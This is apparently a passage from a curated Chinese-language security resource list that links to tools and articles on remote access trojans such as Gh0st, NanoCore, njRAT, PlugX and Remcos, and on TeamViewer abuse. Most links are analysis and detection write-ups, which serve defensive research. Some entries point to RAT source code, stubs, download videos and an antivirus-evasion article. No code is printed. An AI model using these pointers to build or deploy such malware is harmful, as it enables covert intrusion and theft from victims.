[基于TeamViewer的瞄准小公司的远控木马分析](https://www.anquanke.com/post/id/87336/) - 2017.08 [freebuf] [利用Frida从TeamViewer内存中提取密码](http://www.freebuf.com/sectool/142928.html) - 2017.04 [4hou] [深入了解恶意软件如何滥用TeamViewer？](http://www.4hou.com/technology/4417.html) - 2017.02 [4hou] [TeamSpy又回来了，TeamViewer变成了它的攻击载体](http://www.4hou.com/info/3461.html) - 2016.12 [trendmicro] [New SmsSecurity Variant Roots Phones, Abuses Accessibility Features and TeamViewer](https://blog.trendmicro.com/trendlabs-security-intelligence/new-smssecurity-variant-roots-phones-abuses-accessibility-features-teamviewer/) - 2016.10 [broadanalysis] [Rig Exploit Kit via EITEST delivers malicious payload and TeamViewer Remote Control](http://www.broadanalysis.com/2016/10/22/rig-exploit-kit-via-eitest-delivers-malicious-payload-and-teamviewer-remote-control/) - 2016.06 [trendmicro] [Unsupported TeamViewer Versions Exploited For Backdoors, Keylogging](https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging/) - 2016.06 [] [运用最广的远控-TeamViewer被黑了](http://www.91ri.org/15890.html) - 2016.06 [radware] [Has TeamViewer Been Hacked?](https://blog.radware.com/security/2016/06/has-teamviewer-been-hacked/) - 2016.06 [fortinet] [Threat Landscape Perspectives: TeamViewer Attack – Spy vs. Spy Misdirection?](https://www.fortinet.com/blog/industry-trends/threat-landscape-perspectives-teamviewer-misdirection-like-spy-vs-spy.html) - 2016.03 [privacy] [Surprise, Hackers Use TeamViewer to Spread Ransomware](http://privacy-pc.com/news/hackers-use-teamviewer.html) - 2015.08 [volatility] [Recovering TeamViewer (and other) Credentials from RAM with EditBox](https://volatility-labs.blogspot.com/2015/08/recovering-teamviewer-and-other.html) - 2015.06 [] [获取运行中的TeamViewer的账号和密码](http://www.91ri.org/13367.html) - 2014.05 [trendmicro] [Remote Help for Family and Friends – Part 1: Installing and Using TeamViewer](http://blog.trendmicro.com/remote-help-family-friends-part-1/) - 2014.02 [webroot] [Managed TeamViewer based anti-forensics capable virtual machines offered as a service](https://www.webroot.com/blog/2014/02/10/managed-teamviewer-based-anti-forensics-capable-virtual-machines-offered-service/) - 2014.01 [robert] [Howto install Teamviewer 9.x on Ubuntu >= 12.04 64bit (in my case 13.10)](https://robert.penz.name/709/howto-install-teamviewer-9-x-on-ubuntu-12-04-64bit-in-my-case-13-10/) - 2013.05 [security] [Installing Teamviewer 8 on Kali 64bit (Debian)](http://security-is-just-an-illusion.blogspot.com/2013/05/installing-teamviewer-8-on-kali-64bit.html) - 2013.03 [securelist] [The TeamSpy Crew Attacks – Abusing TeamViewer for Cyberespionage](https://securelist.com/the-teamspy-crew-attacks-abusing-teamviewer-for-cyberespionage-8/35520/) # <a id="f6f85e2d4f8e5442884f4d9b6e56ca42"></a>恶意软件(部分) *** ## <a id="74d9131b5ad95c569c0afb9ee5a3c9b9"></a>Gh0st ### <a id="dcb10cc6813a25815201b36bacdef198"></a>工具 - [**301**星][7d] [C++] [yuanyuanxiang/simpleremoter](https://github.com/yuanyuanxiang/simpleremoter) 基于gh0st的远程控制器：实现了终端管理、进程管理、窗口管理、远程桌面、文件管理、语音管理、视频管理、服务管理、注册表管理等功能 - [**273**星][7y] [C++] [sin5678/gh0st](https://github.com/sin5678/gh0st) a open source remote administrator tool - [**91**星][6y] [C++] [igh0st/gh0st3.6_src](https://github.com/igh0st/gh0st3.6_src) - [**90**星][1m] [C++] [zibility/remote](https://github.com/zibility/remote) 参考Gh0st源码，实现的一款PC远程协助软件，拥有远程Shell、文件管理、桌面管理、消息发送等功能。 - [**21**星][5m] [C++] [holmesian/gh0st-light](https://github.com/holmesian/gh0st-light) 精简之后的老东西 ### <a id="683b7000242336c05ea278c9ad3d7e5e"></a>文章 - 2020.01 [z3roTrust] [Becoming Untraceable - 12.0_Gh0st_Us3r.dll](https://medium.com/p/4c43ed5c4872) - 2020.01 [rsa] [Detecting Gh0st RAT in the RSA NetWitness Platform](https://community.rsa.com/community/products/netwitness/blog/2020/01/09/detecting-gh0st-rat-in-netwitness) - 2019.06 [binarydefense] [Gh0stCringe (Formerly CirenegRAT) - Binary Defense](https://www.binarydefense.com/gh0stcringeformerly-cirenegrat/) - 2019.03 [alienvault] [The odd case of a Gh0stRAT variant](https://www.alienvault.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant) - 2018.11 [trendmicro] [使用机器学习对Gh0st远控变种恶意网络数据流进行归类](https://blog.trendmicro.com/trendlabs-security-intelligence/using-machine-learning-to-cluster-malicious-network-flows-from-gh0st-rat-variants/) - 2018.08 [traffic] [[2018-08-12] KaiXinEK->Gh0stRAT](https://traffic.moe/2018/08/12/index.html) - 2018.07 [traffic] [[2018-07-16] KaiXinEK->Gh0stRAT](https://traffic.moe/2018/07/16/index.html) - 2018.07 [inquest] [Field Notes: Malicious HFS Instances Serving Gh0stRAT](https://inquest.net/blog/2018/07/09/field-notes-malicious-hfs-servers) - 2018.07 [360] [针对一个远控木马Gh0st RAT样本的初始化分析](https://www.anquanke.com/post/id/150098/) - 2018.05 [id] [CryptGh0st](http://id-ransomware.blogspot.com/2018/05/cryptgh0st-ransomware.html) - 2018.05 [freebuf] [解码Gh0st RAT变种中的网络数据](http://www.freebuf.com/articles/network/170636.html) - 2018.04 [freebuf] [Gh0st大灰狼RAT家族通讯协议分析](http://www.freebuf.com/articles/paper/167917.html) - 2018.04 [360] [Gh0st/大灰狼RAT家族通讯协议分析](https://www.anquanke.com/post/id/103831/) - 2017.12 [traffic] [[2017-12-06] KaiXinEK->Gh0stRAT](https://traffic.moe/2017/12/06/index.html) - 2016.06 [cysinfo] [Hunting and Decrypting Communications of Gh0st RAT in Memory](https://cysinfo.com/hunting-and-decrypting-communications-of-gh0st-rat-in-memory/) - 2014.05 [pediy] [[原创]Gh0st3.6 windows7无法连接bug分析](https://bbs.pediy.com/thread-187505.htm) - 2014.04 [pediy] [[讨论]Gh0st3.6 IOCP发送BUG](https://bbs.pediy.com/thread-186833.htm) - 2014.03 [trendmicro] [Kunming Attack Leads to Gh0st RAT Variant](https://blog.trendmicro.com/trendlabs-security-intelligence/kunming-attack-leads-to-gh0st-rat-variant/) - 2013.08 [pediy] [二次的gh0st](https://bbs.pediy.com/thread-177231.htm) - 2013.06 [trendmicro] [Targeted Attack in Taiwan Uses Infamous Gh0st RAT](https://blog.trendmicro.com/trendlabs-security-intelligence/targeted-attack-in-taiwan-uses-infamous-gh0st-rat/) - 2012.11 [trendmicro] [DaRK DDoSseR Leads to Gh0st RAT](https://blog.trendmicro.com/trendlabs-security-intelligence/dark-ddosser-leads-to-gh0st-rat/) - 2012.06 [alienvault] [New MaControl variant targeting Uyghur users, the Windows version using Gh0st RAT](https://www.alienvault.com/blogs/labs-research/new-macontrol-variant-targeting-uyghur-users-the-windows-version-using-gh0s) - 2012.05 [forcepoint] [The Amnesty International UK website was compromised to serve Gh0st RAT [Update]](https://www.forcepoint.com/blog/security-labs/amnesty-international-uk-website-was-compromised-serve-gh0st-rat-update) *** ## <a id="81308c6923f66db886efe8ae967c2845"></a>NanoCore ### <a id="c84aebee516fbf526701102cfa6d0a98"></a>工具 - [**2**星][10m] [Py] [jacobpimental/nanocore_extractor](https://github.com/jacobpimental/nanocore_extractor) Extracts nanocore sample from compile AutoIT script ### <a id="6df7f0da7bb260a54405579912678c0d"></a>文章 - 2020.01 [molly] [NanoCore: The RAT that keeps on keeping on. How to detect and prove an infection.](https://www.peerlyst.com/posts/nanocore-the-rat-that-keeps-on-keeping-on-how-to-detect-and-prove-an-infection-molly-payne) - 2019.11 [4hou] [双加载的ZIP文件传播Nanocore RAT](https://www.4hou.com/info/news/21483.html) - 2019.10 [morphisec] [NanoCore RAT Under the Microscope](https://blog.morphisec.com/nanocore-under-the-microscope) - 2019.06 [myonlinesecurity] [More AgentTesla keylogger and Nanocore RAT in one bundle](https://myonlinesecurity.co.uk/more-agenttesla-keylogger-and-nanocore-rat-in-one-bundle/) - 2019.06 [myonlinesecurity] [Nanocore RAT via fake DHL failed delivery in Chinese](https://myonlinesecurity.co.uk/nanocore-rat-via-fake-dhl-failed-delivery-in-chinese/) - 2019.06 [4hou] [解析NanoCore犯罪软件攻击链](https://www.4hou.com/web/18610.html) - 2019.06 [yoroi] [Dissecting NanoCore Crimeware Attack Chain](https://blog.yoroi.company/research/dissecting-nanocore-crimeware-attack-chain/) - 2019.05 [myonlinesecurity] [nanocore RAT via fake order in password protected word doc with wrong password](https://myonlinesecurity.co.uk/nanocore-rat-via-fake-order-in-password-protected-word-doc-with-wrong-password/) - 2019.05 [myonlinesecurity] [Fake Fedex Express Shipment For Pickup in iso delivers nanocore using Sendgrid](https://myonlinesecurity.co.uk/fake-fedex-express-shipment-for-pickup-in-iso-delivers-nanocore-using-sendgrid/) - 2019.05 [goggleheadedhacker] [Unpacking NanoCore Sample Using AutoIT](https://www.goggleheadedhacker.com/blog/post/11) - 2019.03 [carbonblack] [TAU Threat Intelligence Notification: NanoCore – Old Malware, New Tricks!](https://www.carbonblack.com/2019/03/20/tau-threat-intelligence-notification-nanocore-old-malware-new-tricks/) - 2019.01 [myonlinesecurity] [Fake Autec Power purchase Order delivers Nanocore RAT](https://myonlinesecurity.co.uk/fake-autec-power-purchase-order-delivers-nanocore-rat/) - 2019.01 [myonlinesecurity] [Nanocore via fake order using dde in csv files](https://myonlinesecurity.co.uk/nanocore-via-fake-order-using-dde-in-csv-files/) - 2019.01 [myonlinesecurity] [Nanocore RAT via fake order emails](https://myonlinesecurity.co.uk/nanocore-rat-via-fake-order-emails/) - 2019.01 [malware] [2019-01-04 - MALSPAM PUSHES NANOCORE RAT](http://malware-traffic-analysis.net/2019/01/04/index.html) - 2018.11 [myonlinesecurity] [Fake Payment Receipt delivers Nanocore RAT malware](https://myonlinesecurity.co.uk/fake-payment-receipt-delivers-nanocore-rat-malware/) - 2018.06 [UltraHacks] [NanoCore [Free Download] [No Virus] [DL] | Ultra Hacks](https://www.youtube.com/watch?v=lghASMr6VtA) - 2018.04 [myonlinesecurity] [Fake PAYMENT CONFIRMATION emails deliver Nanocore RAT](https://myonlinesecurity.co.uk/fake-payment-confirmation-emails-deliver-nanocore-rat/) - 2018.04 [myonlinesecurity] [Nanocore Rat delivered via fake order emails](https://myonlinesecurity.co.uk/nanocore-rat-delivered-via-fake-order-emails/) - 2018.04 [myonlinesecurity] [Nanocore via fake Purchase order malspam using Microsoft Office Equation Editor exploits](https://myonlinesecurity.co.uk/nanocore-via-fake-purchase-order-malspam-using-microsoft-office-equation-editor-exploits/) - 2018.04 [myonlinesecurity] [Nanocore RAT delivered by fake order malspam](https://myonlinesecurity.co.uk/nanocore-rat-delivered-by-fake-order-malspam/) - 2018.02 [krebsonsecurity] [Bot Roundup: Avalanche, Kronos, NanoCore](https://krebsonsecurity.com/2018/02/bot-roundup-avalanche-kronos-nanocore/) - 2017.11 [myonlinesecurity] [Fake Product Enquiry malspam delivers Nanocore RAT](https://myonlinesecurity.co.uk/fake-product-enquiry-malspam-delivers-nanocore-rat/) - 2017.10 [fortinet] [PDF Phishing Leads to Nanocore RAT, Targets French Nationals](https://blog.fortinet.com/2017/10/12/pdf-phishing-leads-to-nanocore-rat-targets-french-nationals) - 2017.10 [fortinet] [内置 JavaScript 脚本的PDF 恶意文件，启动时通过 Google Drive 分享链接下载 HTA 文件，由 HTA 文件下载并执行 NanoCore 远控](https://www.fortinet.com/blog/threat-research/pdf-phishing-leads-to-nanocore-rat-targets-french-nationals.html) - 2017.08 [myonlinesecurity] [Angelika Rodriguez – [email protected] – Purchase Order malspam delivers nanocore RAT](https://myonlinesecurity.co.uk/angelika-rodriguez-zalesmunicipiodepaute-gob-ec-purchase-order-malspam-delivers-nanocore-rat/) - 2017.05 [netskope] [NanocoreRAT delivery via cloud storage apps shifts from .uue to .r11](https://www.netskope.com/blog/nanocorerat-delivery-via-cloud-storage-apps-shifts-uue-r11/) - 2017.03 [itsjack] [Nanocore Cracked Alcatraz – Leaving The Door Open](https://itsjack.cc/blog/2017/03/nanocore-cracked-alcatraz-leaving-the-door-open/) - 2016.10 [sans] [Malspam delivers NanoCore RAT](https://isc.sans.edu/forums/diary/Malspam+delivers+NanoCore+RAT/21615/) - 2016.02 [paloaltonetworks] [NanoCoreRAT Behind an Increase in Tax-Themed Phishin](https://unit42.paloaltonetworks.com/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/) - 2015.11 [f] [Halloween RAT: NanoCore Served Via PageFair Service](https://labsblog.f-secure.com/2015/11/02/halloween-rat-nanocore-served-via-pagefair-service/) - 2015.04 [ensilo] [NanoCore RAT: It’s Not 100% Original](https://blog.ensilo.com/nanocore-rat-not-100-original) *** ## <a id="31bd9e6c54fdd9a00a45542e53abc13b"></a>NjRat ### <a id="ff7bcb6c765cb73cfadda9f06deda668"></a>工具 - [**143**星][2y] [Visual Basic .NET] [alibawazeeer/rat-njrat-0.7d-modded-source-code](https://github.com/alibawazeeer/rat-njrat-0.7d-modded-source-code) NJR - [**128**星][8d] [Visual Basic] [mwsrc/njrat](https://github.com/mwsrc/njrat) njRAT SRC Extract - [**14**星][5m] [C#] [nyan-x-cat/njrat-0.7d-stub-csharp](https://github.com/nyan-x-cat/njrat-0.7d-stub-csharp) njRAT C# Stub - Fixed For PowerShell - [**3**星][2y] [Py] [seep1959/njutils](https://github.com/seep1959/njutils) A client and chat program for njrat 0.6.4, 0.7d, and 0.7d golden edition. ### <a id="de09011e16164e950d653756212219ac"></a>文章 - 2019.12 [carbonblack] [Threat Analysis Unit (TAU) Threat Intelligence Notification: njRAT](https://www.carbonblack.com/2019/12/10/threat-analysis-unit-tau-threat-intelligence-notification-njrat/) - 2019.09 [freebuf] [Gorgon APT组织再做文章：DropBox到NJRat的曲折历程](https://www.freebuf.com/articles/system/213082.html) - 2019.05 [morphisec] [A look at Hworm / Houdini AKA njRAT](https://blog.morphisec.com/hworm-houdini-aka-njrat) - 2019.05 [myonlinesecurity] [Fake Payment receipt vbs drops njrat bladabindi downloads Agent Tesla via Sendspace.](https://myonlinesecurity.co.uk/fake-payment-receipt-vbs-drops-njrat-bladabindi-downloads-agent-tesla-via-sendspace/) - 2018.11 [trendmicro] [由AutoIt编译的蠕虫, 利用可移动介质传播, 投递无文件版的njRAT远控](https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/) - 2018.06 [360] [老树开新花--njRAT家族恶意软件分析报告](https://www.anquanke.com/post/id/149654/) - 2018.06 [freebuf] [技术讨论 | NjRAT通过base64编码加密混淆Code免杀绕过360杀毒实验](http://www.freebuf.com/articles/rookie/174776.html) - 2018.04 [UltraHacks] [njRAT v0.7 | Tutorial | www.ultrahacks.org | Ultra Hacks](https://www.youtube.com/watch?v=qvURwIAzGo4) - 2018.03 [broadanalysis] [Guest Blog Post: njRat Analysis with Volatility](http://www.broadanalysis.com/2018/03/25/guest-blog-post-njrat-analysis-with-volatility/) - 2018.01 [rsa] [Malspam delivers njRAT 1-11-2018](https://community.rsa.com/community/products/netwitness/blog/2018/01/12/malspam-delivers-njrat-1-11-2018) - 2017.12 [malwarenailed] [Revisiting HWorm and NjRAT](http://malwarenailed.blogspot.com/2017/05/revisiting-hworm-and-njrat.html) - 2016.12 [freebuf] [史上最全的njRAT通信协议分析](http://www.freebuf.com/articles/network/122244.html) - 2016.08 [MalwareAnalysisForHedgehogs] [Malware Analysis - Unpacking njRAT Protected by Confuser v.1.9 and others](https://www.youtube.com/watch?v=92GDWqCK1rQ) - 2016.01 [sensecy] [Is There A New njRAT Out There?](https://blog.sensecy.com/2016/01/05/is-there-a-new-njrat-out-there/) - 2015.12 [sec] [木马情报分析之：njRAT&H-worm](https://www.sec-un.org/trojan-information-analysis-njrath-worm/) - 2015.11 [alienvault] [KilerRat: Taking over where Njrat remote access trojan left off](https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off) - 2015.08 [virusbulletin] [Paper: Life after the apocalypse for the Middle Eastern NJRat campaign](https://www.virusbulletin.com/blog/2015/08/paper-life-after-apocalypse-middle-eastern-njrat-campaign/) - 2014.08 [mcafee] [Trailing the Trojan njRAT](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/trail-njrat/) - 2014.08 [mcafee] [Trailing the Trojan njRAT](https://securingtomorrow.mcafee.com/mcafee-labs/trail-njrat/) - 2014.01 [rsa] [Detecting njRAT in Your Environment](https://community.rsa.com/community/products/netwitness/blog/2014/01/02/detecting-njrat-in-your-environment) *** ## <a id="db2bbd5298638952f34060e4f8ee0053"></a>Revenge RAT ### <a id="cef60ee76daa3240e95bbf82f2994848"></a>工具 - [**21**星][2m] [C#] [nyan-x-cat/revengerat-stub-cssharp](https://github.com/nyan-x-cat/revengerat-stub-cssharp) Revenge-RAT C# Stub - Fixed ### <a id="2dd3016da115b16c9de264b885105eff"></a>文章 - 2020.01 [malware] [2020-01-15 - QUICK POST: MALSPAM PUSHING REVENGE RAT](http://malware-traffic-analysis.net/2020/01/15/index.html) - 2019.11 [fortinet] [Double Trouble: RevengeRAT and WSHRAT](https://www.fortinet.com/blog/threat-research/malware-analysis-revenge-rat-sample.html) - 2019.09 [360] [Revenge-RAT is used in phishing emails attacks against Italy](https://blog.360totalsecurity.com/en/revenge-rat-is-used-in-phishing-emails-attacks-against-italy/) - 2019.04 [4hou] [利用钓鱼邮件传播RevengeRAT的Aggah行动](https://www.4hou.com/web/17521.html) - 2019.03 [alienvault] [Mapping TrickBot and RevengeRAT with MITRE ATT&CK and AlienVault USM Anywhere](https://www.alienvault.com/blogs/labs-research/mapping-trickbot-and-revengerat-with-mitre-attck-and-alienvault-usm-anywhere) - 2019.02 [4hou] [Revenge RAT恶意软件升级版来袭](http://www.4hou.com/web/16164.html) - 2018.04 [dissectmalware] [Stealthy VBScript dropper dropping Revenge RAT](https://dissectmalware.wordpress.com/2018/04/08/stealthy-powershell-dropper-dropping-revenge-rat/) - 2017.10 [rsa] [Malspam Delivers Revenge RAT October-2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/26/malspam-delivers-revenge-rat-october-2017) - 2016.08 [deniable] [Lurking Around Revenge-RAT](http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/) *** ## <a id="37466b42f2f777fa5a6400d78931995c"></a>PlugX ### <a id="03b501e2e5da59c3c97027775e6a93b7"></a>工具 - [**28**星][7y] [Py] [kcreyts/plugxdecoder](https://github.com/kcreyts/plugxdecoder) Decodes PlugX traffic and encrypted/compressed artifacts ### <a id="17ca6dd6130c10b726039472c20bb093"></a>文章 - 2020.01 [hexacorn] [The Wizard of X – Oppa PlugX style, Part 2](http://www.hexacorn.com/blog/2020/01/24/the-wizard-of-x-oppa-plugx-style-part-2/) - 2019.11 [BorjaMerino] [Rebind Socket Windows: PoC PlugX Controller](https://www.youtube.com/watch?v=MtscvthsaeY) - 2018.06 [countuponsecurity] [Digital Forensics – PlugX and Artifacts left behind](https://countuponsecurity.com/2018/06/20/digital-forensics-plugx-and-artifacts-left-behind/) - 2018.05 [countuponsecurity] [Malware Analysis – PlugX – Part 2](https://countuponsecurity.com/2018/05/09/malware-analysis-plugx-part-2/) - 2018.02 [4hou] [揭秘PlugX 恶意软件家族的攻击实力](http://www.4hou.com/technology/10394.html) - 2018.02 [360] [PlugX恶意软件分析报告](https://www.anquanke.com/post/id/98166/) - 2018.02 [countuponsecurity] [Malware Analysis – PlugX](https://countuponsecurity.com/2018/02/04/malware-analysis-plugx/) - 2017.09 [fortinet] [Deep Analysis of New Poison Ivy/PlugX Variant - Part II](https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii) - 2017.09 [fortinet] [新型 Poison Ivy/PlugX 变种深入分析](https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii.html) - 2017.09 [360] [Stack overflow in PlugX RAT](https://www.anquanke.com/post/id/86769/) - 2017.07 [hexacorn] [The Wizard of X – Oppa PlugX style](http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/) - 2017.02 [jpcert] [PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -](https://blogs.jpcert.or.jp/en/2017/02/plugx-poison-iv-919a.html) - 2016.06 [airbuscybersecurity] [Getting a PlugX builder](http://blog.airbuscybersecurity.com/post/2016/06/Getting-a-PlugX-builder) - 2016.06 [cylance] [CylancePROTECT® vs. PlugX – JTB Breach Affects 7.93 Million People in Japan](https://www.cylance.com/en_us/blog/cylanceprotect-vs-plugx.html) - 2016.03 [securelist] [PlugX malware: A good hacker is an apologetic hacker](https://securelist.com/plugx-malware-a-good-hacker-is-an-apologetic-hacker/74150/) - 2015.11 [volatility] [PlugX: Memory Forensics Lifecycle with Volatility](https://volatility-labs.blogspot.com/2015/11/plugx-memory-forensics-lifecycle-with.html) - 2015.09 [cyintanalysis] [Using threat_note To Track Campaigns: Returning to PIVY and PlugX Infrastructure](http://www.cyintanalysis.com/using-threat_note-to-track-campaigns-returning-to-pivy-and-plugx-infrastructure/) - 2015.09 [airbuscybersecurity] [Volatility plugin for PlugX updated](http://blog.airbuscybersecurity.com/post/2015/08/Volatility-plugin-for-PlugX-updated) - 2015.08 [rebsnippets] [PlugX Chronicles](http://rebsnippets.blogspot.com/2015/08/plugx-chronicles.html) - 2015.08 [cyintanalysis] [Threat Analysis: Poison Ivy and Links to an Extended PlugX Campaign](http://www.cyintanalysis.com/threat-analysis-poison-ivy-and-links-to-an-extended-plugx-campaign/) - 2015.08 [airbuscybersecurity] [Latest changes in PlugX](http://blog.airbuscybersecurity.com/post/2015/06/Latest-improvements-in-PlugX) - 2015.05 [paloaltonetworks] [PlugX Uses Legitimate Samsung Application for DLL Sid](https://unit42.paloaltonetworks.com/plugx-uses-legitimate-samsung-application-for-dll-side-loading/) - 2015.04 [freebuf] [恶意代码分析：台湾官方版英雄联盟LoL和流亡黯道PoE被植入远控工具PlugX](http://www.freebuf.com/vuls/63151.html) - 2015.01 [jpcert] [Analysis of a Recent PlugX Variant - “P2P PlugX”](https://blogs.jpcert.or.jp/en/2015/01/analysis-of-a-r-ff05.html) - 2015.01 [] [A Closer Look at PlugX from League of Legends / Path of Exile](http://909research.com/a-closer-look-at-plugx-from-league-of-legends-path-of-exile/) - 2015.01 [trendmicro] [PlugX Malware Found in Official Releases of League of Legends, Path of Exile](https://blog.trendmicro.com/trendlabs-security-intelligence/plugx-malware-found-in-official-releases-of-league-of-legends-path-of-exile/) - 2014.06 [trendmicro] [PlugX RAT With “Time Bomb” Abuses Dropbox for Command-and-Control Settings](https://blog.trendmicro.com/trendlabs-security-intelligence/plugx-rat-with-time-bomb-abuses-dropbox-for-command-and-control-settings/) - 2014.06 [lastline] [An Analysis of PlugX Using Process Dumps from High-Resolution Malware Analysis](https://www.lastline.com/labsblog/an-analysis-of-plugx-using-process-dumps-from-high-resolution-malware-analysis/) - 2014.01 [airbuscybersecurity] [PlugX "v2": meet "SController"](http://blog.airbuscybersecurity.com/post/2014/01/PlugX-v2%3A-meet-SController) - 2014.01 [airbuscybersecurity] [PlugX: some uncovered points](http://blog.airbuscybersecurity.com/post/2014/01/plugx-some-uncovered-points.html) - 2013.12 [lastline] [An Analysis of PlugX Malware](https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/) - 2013.05 [freebuf] [FireEye：PlugX老马新用,针对中国政治活动的APT攻击分析](http://www.freebuf.com/news/9555.html) - 2013.04 [trendmicro] [New Wave of PlugX Targets Legitimate Apps](https://blog.trendmicro.com/trendlabs-security-intelligence/new-wave-of-plugx-targets-legitimate-apps/) - 2013.04 [securelist] [Winnti returns with PlugX](https://securelist.com/winnti-returns-with-plugx/66960/) - 2012.09 [freebuf] [国外大牛人肉定向攻击远控PlugX开发者全过程分析](http://www.freebuf.com/articles/others-articles/5718.html) - 2012.09 [alienvault] [The connection between the Plugx Chinese gang and the latest Internet Explorer Zeroday](https://www.alienvault.com/blogs/labs-research/the-connection-between-the-plugx-chinese-gang-and-the-latest-internet-explo) - 2012.09 [trendmicro] [Unplugging PlugX Capabilities](https://blog.trendmicro.com/trendlabs-security-intelligence/unplugging-plugx-capabilities/) - 2012.09 [alienvault] [Tracking down the author of the PlugX RAT](https://www.alienvault.com/blogs/labs-research/tracking-down-the-author-of-the-plugx-rat) - 2012.09 [freebuf] [新型远程控制工具Plugx正在被利用并通过钓鱼攻击日本政府](http://www.freebuf.com/news/5607.html) - 2012.09 [trendmicro] [PlugX: New Tool For a Not So New Campaign](https://blog.trendmicro.com/trendlabs-security-intelligence/plugx-new-tool-for-a-not-so-new-campaign/) *** ## <a id="ee2e3505664b3a7d26842b0278ccce23"></a>RemcosRAT - 2019.10 [fortinet] [New Variant of Remcos RAT Observed In the Wild](https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html) - 2019.09 [myonlinesecurity] [Some changes to Remcos Rat persistence method](https://myonlinesecurity.co.uk/some-changes-to-remcos-rat-persistence-method/) - 2019.09 [myonlinesecurity] [Fake invoice tries to deliver Remcos RAT](https://myonlinesecurity.co.uk/fake-invoice-tries-to-deliver-remcos-rat/) - 2019.09 [freebuf] [钓鱼邮件中的Remcos RAT变种分析](https://www.freebuf.com/articles/network/212400.html) - 2019.08 [trendmicro] [Analysis: New Remcos RAT Arrives Via Phishing Email](https://blog.trendmicro.com/trendlabs-security-intelligence/analysis-new-remcos-rat-arrives-via-phishing-email/) - 2019.06 [myonlinesecurity] [Remcos Rat via fake invoice using multiple delivery methods.](https://myonlinesecurity.co.uk/remcos-rat-via-fake-invoice-using-multiple-delivery-methods/) - 2019.06 [HackerSploit] [Remcos RAT Review - The Most Advanced Remote Access Tool](https://www.youtube.com/watch?v=rffkJDcri18) - 2018.11 [myonlinesecurity] [More Fake DHL invoices delivering Remcos RAT via office XML files](https://myonlinesecurity.co.uk/more-fake-dhl-invoices-delivering-remcos-rat-via-office-xml-files/) - 2018.10 [myonlinesecurity] [Fake DHL READ : (DHL Express) -Delivery Address Confirmation delivers Remcos Rat](https://myonlinesecurity.co.uk/fake-dhl-read-dhl-express-delivery-address-confirmation-delivers-remcos-rat/) - 2018.09 [myonlinesecurity] [Fake Purchase Order email delivers Remcos RAT](https://myonlinesecurity.co.uk/fake-purchase-order-email-delivers-remcos-rat/) - 2018.09 [360] [揭秘Remcos下的僵尸网络](https://www.anquanke.com/post/id/158934/) - 2018.08 [securityledger] [Cisco Links Remote Access Tool Remcos to Cybercriminal Underground](https://securityledger.com/2018/08/cisco-links-remote-access-tool-remcos-to-cybercriminal-underground/) - 2018.08 [talosintelligence] [Picking Apart Remcos Botnet-In-A-Box](https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html) - 2018.08 [UltraHacks] [Remcos RAT Tutorial | Remote Administration Tool | Ultra Hacks](https://www.youtube.com/watch?v=hlf5k86LwMI) - 2018.07 [myonlinesecurity] [Fake DHL “Alert! Shipment Notification” delivers Remcos RAT](https://myonlinesecurity.co.uk/fake-dhl-alert-shipment-notification-delivers-remcos-rat/) - 2018.05 [fortinet] [Remcos远控变种利用CVE-2017-11882传播](https://www.fortinet.com/blog/threat-research/new-remcos-rat-variant-is-spreading-by-exploiting-cve-2017-11882.html) - 2018.04 [myonlinesecurity] [Remcos RAT delivered by fake ” your workers are fighting” message](https://myonlinesecurity.co.uk/remcos-rat-delivered-by-fake-your-workers-are-fighting-message/) - 2018.04 [myonlinesecurity] [Remcos RAT delivered via fake CCICM international debt recovery service](https://myonlinesecurity.co.uk/remcos-rat-delivered-via-fake-ccicm-international-debt-recovery-service/) - 2018.04 [myonlinesecurity] [Fake Payment recovery email spoofing CCICM international debt recovery service delivers Remcos rat via Microsoft Equation Editor Exploits](https://myonlinesecurity.co.uk/fake-payment-recovery-email-spoofing-ccicm-international-debt-recovery-service-delivers-remcos-rat-via-microsoft-equation-editor-exploits/) - 2018.03 [tencent] [新型远控木马Remcos利用CVE-2017-11882漏洞进行实时攻击](https://s.tencent.com/research/report/442.html) - 2018.03 [myonlinesecurity] [Fake order spoofed from Finchers ltd Sankyo-Rubber delivers Remcos RAT via ACE attachments](https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/) - 2017.09 [malwarebreakdown] [Malvertising Leads to RIG EK and Drops Remcos RAT.](https://malwarebreakdown.com/2017/09/27/malvertising-leads-to-rig-ek/) - 2017.09 [trendmicro] [云平台 Autodesk® A360 被利用传播 Adwind, Remcos, Netwire RAT 等恶意软件](https://blog.trendmicro.com/trendlabs-security-intelligence/a360-drive-adwind-remcos-netwire-rats/) - 2017.08 [cybereason] [Cybereason creates 'vaccine' to stop Remcos RAT](https://www.cybereason.com/blog/blog-cybereason-creates-vaccine-to-stop-remcos-rat) - 2017.02 [fortinet] [REMCOS: A New RAT In The Wild](https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html) *** ## <a id="3f113acb3b6863c4ec5cbe04ce69f841"></a>L0rdixRAT - 2019.08 [bromium] [Decrypting L0rdix RAT’s C2](https://www.bromium.com/decrypting-l0rdix-rats-c2/) - 2019.07 [bromium] [An Analysis of L0rdix RAT, Panel and Builder](https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/) - 2018.11 [ensilo] [L0RDIX: Multipurpose Attack Tool](https://blog.ensilo.com/l0rdix-attack-tool) *** ## <a id="07522f33ae58f9d0de0bdc202f6aa1aa"></a>LodaRAT - 2020.02 [talosintelligence] [Loda RAT Grows Up](https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html) *** 